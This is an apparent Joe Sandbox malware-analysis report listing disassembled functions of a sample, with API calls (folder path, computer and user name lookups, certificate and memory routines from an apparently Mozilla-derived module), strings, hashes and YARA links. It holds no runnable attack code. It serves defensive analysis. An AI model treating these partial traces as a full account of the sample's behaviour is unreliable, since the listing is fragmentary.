Instruction Fuzzy Hash: 70F01570C0020CEFCB04EFA5C9496DDBB75EB00324F50859EE82AA7281DBB85B95CB85

Function 00418880 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 51571f28d6a7ed4813964dc8c522bdbe61ee22cda778a467bc1242f5a69e0a37
Instruction ID: 7b71b80bc5ec6c4d76f30a423bf4d75a71df8f4b6dd8708b5fa25dfbbe6c75fa
Opcode Fuzzy Hash: 51571f28d6a7ed4813964dc8c522bdbe61ee22cda778a467bc1242f5a69e0a37
Instruction Fuzzy Hash: 7AE01A31A4034C7BDB55EBA0CC96FEE736CAB44B15F004299BA0C5B1C0EE74AB858B91

Function 00401190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

ExitProcess.KERNEL32 ref: 004011C6

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID:
API String ID: 1004333139-0
Opcode ID: 0dde54e68933c144dc9d433c77b62f5ff363c8b2548fcf823f9b9f06c0cc5b37
Instruction ID: 84cbab3e625f5c703ca2aee7bdcd0b4d96e9050e400d57d2133d1b743e823249
Opcode Fuzzy Hash: 0dde54e68933c144dc9d433c77b62f5ff363c8b2548fcf823f9b9f06c0cc5b37
Instruction Fuzzy Hash: 8EE0C27190070222DB2033B66C06B6B329D0B1435DF00052EFA08D7252FE3CF81182AC

Function 004098D0 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 004098D8

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 1aee106081fe82a84b5a838b5431766f4324473991f19cdffcfc85f73d7ea574
Instruction ID: 85591d8b2077324c158e0d5cdc0cd752fc6e9f2d8541dbcaab8872a49f7b11e9
Opcode Fuzzy Hash: 1aee106081fe82a84b5a838b5431766f4324473991f19cdffcfc85f73d7ea574
Instruction Fuzzy Hash: CFF054B4D00208FBDB00EFA5C946B9EB7B4AB08304F1085A9FD05A7381E6749B00CB95

Non-executed Functions

Function 6CAC6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CAC6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CAC6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CAC6D26

Part of subcall function 6CACCA10: malloc.MOZGLUE(?), ref: 6CACCA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CAC6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CAC6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CAC6D73
free.MOZGLUE(00000000), ref: 6CAC6D80
CertGetNameStringW.CRYPT32 ref: 6CAC6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CAC6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CAC6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CAC6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CAC6E10
CryptMsgClose.CRYPT32(00000000), ref: 6CAC6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CAC6E34
CreateFileW.KERNEL32 ref: 6CAC6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CAC6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CAC6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CAC709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CAC7103
free.MOZGLUE(00000000), ref: 6CAC7153
CloseHandle.KERNEL32(?), ref: 6CAC7176
__Init_thread_footer.LIBCMT ref: 6CAC7209
__Init_thread_footer.LIBCMT ref: 6CAC723A
__Init_thread_footer.LIBCMT ref: 6CAC726B
__Init_thread_footer.LIBCMT ref: 6CAC729C
__Init_thread_footer.LIBCMT ref: 6CAC72DC
__Init_thread_footer.LIBCMT ref: 6CAC730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CAC73C2
VerSetConditionMask.NTDLL ref: 6CAC73F3
VerSetConditionMask.NTDLL ref: 6CAC73FF
VerSetConditionMask.NTDLL ref: 6CAC7406
VerSetConditionMask.NTDLL ref: 6CAC740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CAC741A
moz_xmalloc.MOZGLUE(?), ref: 6CAC755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CAC7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CAC7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CAC7598
free.MOZGLUE(00000000), ref: 6CAC75AC

Part of subcall function 6CAEAB89: EnterCriticalSection.KERNEL32(6CB3E370,?,?,?,6CAB34DE,6CB3F6CC,?,?,?,?,?,?,?,6CAB3284), ref: 6CAEAB94
Part of subcall function 6CAEAB89: LeaveCriticalSection.KERNEL32(6CB3E370,?,6CAB34DE,6CB3F6CC,?,?,?,?,?,?,?,6CAB3284,?,?,6CAD56F6), ref: 6CAEABD1

Strings

(, xrefs: 6CAC768A
wintrust.dll, xrefs: 6CAC72CD
SHA256, xrefs: 6CAC6EC0
CryptCATAdminReleaseCatalogContext, xrefs: 6CAC72C8

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 0796dd56954f8bdbf965c6f5f3c4c4729b90a6e329a9dd3f9c54f14ee0ac9ee3
Instruction ID: ff52f078f890e7985139523db85c674986812a2df29cc8b5947fe4486db66677
Opcode Fuzzy Hash: 0796dd56954f8bdbf965c6f5f3c4c4729b90a6e329a9dd3f9c54f14ee0ac9ee3
Instruction Fuzzy Hash: 8652A3B1A00258DBEB21DF24CD84BAE77B9EB45718F144199E90DE7640DB70AEC4CF92

Function 6CAFF070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412threadtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAFF09B

Part of subcall function 6CAD5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CAD56EE,?,00000001), ref: 6CAD5B85
Part of subcall function 6CAD5B50: EnterCriticalSection.KERNEL32(6CB3F688,?,?,?,6CAD56EE,?,00000001), ref: 6CAD5B90
Part of subcall function 6CAD5B50: LeaveCriticalSection.KERNEL32(6CB3F688,?,?,?,6CAD56EE,?,00000001), ref: 6CAD5BD8
Part of subcall function 6CAD5B50: GetTickCount64.KERNEL32 ref: 6CAD5BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CAFF0AC

Part of subcall function 6CAD5C50: GetTickCount64.KERNEL32 ref: 6CAD5D40
Part of subcall function 6CAD5C50: EnterCriticalSection.KERNEL32(6CB3F688), ref: 6CAD5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CAFF0BE

Part of subcall function 6CAD5C50: __aulldiv.LIBCMT ref: 6CAD5DB4
Part of subcall function 6CAD5C50: LeaveCriticalSection.KERNEL32(6CB3F688), ref: 6CAD5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6CAFF155
GetCurrentThreadId.KERNEL32 ref: 6CAFF1E0
AcquireSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFF1ED
ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFF212
GetCurrentThreadId.KERNEL32 ref: 6CAFF229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAFF231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CAFF248
GetCurrentThreadId.KERNEL32 ref: 6CAFF2AE
AcquireSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFF2BB
ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFF2F8

Part of subcall function 6CAECBE8: GetCurrentProcess.KERNEL32(?,6CAB31A7), ref: 6CAECBF1
Part of subcall function 6CAECBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAB31A7), ref: 6CAECBFA

Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAC4A68), ref: 6CAF945E
Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAF9470
Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAF9482
Part of subcall function 6CAF9420: __Init_thread_footer.LIBCMT ref: 6CAF949F

GetCurrentThreadId.KERNEL32 ref: 6CAFF350
AcquireSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFF35D
ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFF381
GetCurrentThreadId.KERNEL32 ref: 6CAFF398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAFF3A0
GetCurrentThreadId.KERNEL32 ref: 6CAFF489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAFF491

Part of subcall function 6CAF94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAF94EE
Part of subcall function 6CAF94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAF9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CAFF3CF

Part of subcall function 6CAFF070: GetCurrentThreadId.KERNEL32 ref: 6CAFF440
Part of subcall function 6CAFF070: AcquireSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFF44D
Part of subcall function 6CAFF070: ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFF472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CAFF4A8
GetCurrentThreadId.KERNEL32 ref: 6CAFF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAFF561
GetCurrentThreadId.KERNEL32 ref: 6CAFF577
AcquireSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFF585
ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFF5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6CAFF499
[I %d/%d] profiler_resume, xrefs: 6CAFF239
[I %d/%d] profiler_pause_sampling, xrefs: 6CAFF3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CAFF56A

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: 29827dc7fc1c6aa4cbb13cec63611f7de21d036f13d6363defb7d4e85ab5b2d4
Instruction ID: 2044fe03c0599d681d27b299b68a28a240f1aecbafe327d7d5cedcbffa7c3643
Opcode Fuzzy Hash: 29827dc7fc1c6aa4cbb13cec63611f7de21d036f13d6363defb7d4e85ab5b2d4
Instruction Fuzzy Hash: 7CD134356043148FDB209F68D9047AE7BF8EB46329F14065EF96D83B81DB70588DCBA6

Function 6CAC64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CAC64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CAC64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CAC6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CAC6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CAC652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CAC671C
GetCurrentProcess.KERNEL32 ref: 6CAC6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CAC672F
GetCurrentProcess.KERNEL32 ref: 6CAC6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CAC6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CAC6A80
GetSystemInfo.KERNEL32(?), ref: 6CAC6ABE
__Init_thread_footer.LIBCMT ref: 6CAC6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAC6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAC6AF7

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CAC6798
_etoured.dll, xrefs: 6CAC64ED
nvd3d9wrap.dll, xrefs: 6CAC6500
nvdxgiwrap.dll, xrefs: 6CAC6513
user32.dll, xrefs: 6CAC6526
detoured.dll, xrefs: 6CAC64DA

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 1ba74c730150da8c86d0dae498ba06a22a5b7c437b53b201be6bff6fc13a3f44
Instruction ID: acf29f638cd3406cc12f90e6fdd6f15749f5e7d25bd557b1867eaef224c841e0
Opcode Fuzzy Hash: 1ba74c730150da8c86d0dae498ba06a22a5b7c437b53b201be6bff6fc13a3f44
Instruction Fuzzy Hash: 21F1E570A052299FDB20DF64CD48BEAB7B4AF45318F184299D81DA7781D731AEC4CF92

Function 6CAF7E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

(pre-xul), xrefs: 6CAF7E88
data, xrefs: 6CAF8280, 6CAF83E1
name, xrefs: 6CAF7ECF, 6CAF8335
schema, xrefs: 6CAF81E3, 6CAF8311

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 9a0bc2ec7860ebc0654b2dbad151032c2135eb37411823c816bc229c762f1fa6
Instruction ID: 011cb4d212d3fbb4fe08b5e64c50755160d98e79074d90291fc1848f00cdefde
Opcode Fuzzy Hash: 9a0bc2ec7860ebc0654b2dbad151032c2135eb37411823c816bc229c762f1fa6
Instruction Fuzzy Hash: D4E16DB1B043948BC710CF68884066BFBE9FF95314F148A2DE899D7790DBB4DD498B92

Function 6CADD4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB3E784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CAED1C5), ref: 6CADD4F2
LeaveCriticalSection.KERNEL32(6CB3E784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CAED1C5), ref: 6CADD50B

Part of subcall function 6CABCFE0: EnterCriticalSection.KERNEL32(6CB3E784), ref: 6CABCFF6
Part of subcall function 6CABCFE0: LeaveCriticalSection.KERNEL32(6CB3E784), ref: 6CABD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CAED1C5), ref: 6CADD52E
EnterCriticalSection.KERNEL32(6CB3E7DC), ref: 6CADD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CADD6A6
LeaveCriticalSection.KERNEL32(6CB3E7DC), ref: 6CADD712
LeaveCriticalSection.KERNEL32(6CB3E784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CAED1C5), ref: 6CADD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CADD7EA

Strings

: (malloc) Error initializing arena, xrefs: 6CADD82C
<jemalloc>, xrefs: 6CADD827

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 2b5290bc34ab56172f7f6c269c205cfd1aef20034f118f422389373ebdb4b4be
Instruction ID: 3dd85083471c4d416c73beb83fd4a6851d60b5b84dbc783f522db672bde92660
Opcode Fuzzy Hash: 2b5290bc34ab56172f7f6c269c205cfd1aef20034f118f422389373ebdb4b4be
Instruction Fuzzy Hash: 8591E471E147518FD714CF28C59476AB7E1EB89318F1A492EE49A87A80D730F884CF91

Function 6CB14EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6CB14EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB14F2E
moz_xmalloc.MOZGLUE ref: 6CB14F52
memset.VCRUNTIME140(00000000,00000000), ref: 6CB14F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB152B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB152E6
Sleep.KERNEL32(00000010), ref: 6CB15481
free.MOZGLUE(?), ref: 6CB15498

Strings

(, xrefs: 6CB15250

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 8eaca65a9ade2a3435e311aa5775c142afd0d6554d72593607a34683d91703b1
Instruction ID: 0ca32d0cd84b3650e8e4337a664b665500e3435f0fe9343b3a31c10f13086149
Opcode Fuzzy Hash: 8eaca65a9ade2a3435e311aa5775c142afd0d6554d72593607a34683d91703b1
Instruction Fuzzy Hash: 8EF1A271A18B408FC716CF39C85062BB7F5AFD6284F05872EF84AA7651DB31D846CB81

Function 6CAC7810 Relevance: 15.4, APIs: 12, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB3E744), ref: 6CAC7885
LeaveCriticalSection.KERNEL32(6CB3E744), ref: 6CAC78A5
EnterCriticalSection.KERNEL32(6CB3E784), ref: 6CAC78AD
LeaveCriticalSection.KERNEL32(6CB3E784), ref: 6CAC78CD
EnterCriticalSection.KERNEL32(6CB3E7DC), ref: 6CAC78D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6CAC78E9
EnterCriticalSection.KERNEL32(00000000), ref: 6CAC795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6CAC79BB
LeaveCriticalSection.KERNEL32(?), ref: 6CAC7BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6CAC7C82
LeaveCriticalSection.KERNEL32(6CB3E7DC), ref: 6CAC7CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6CAC7DAF

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
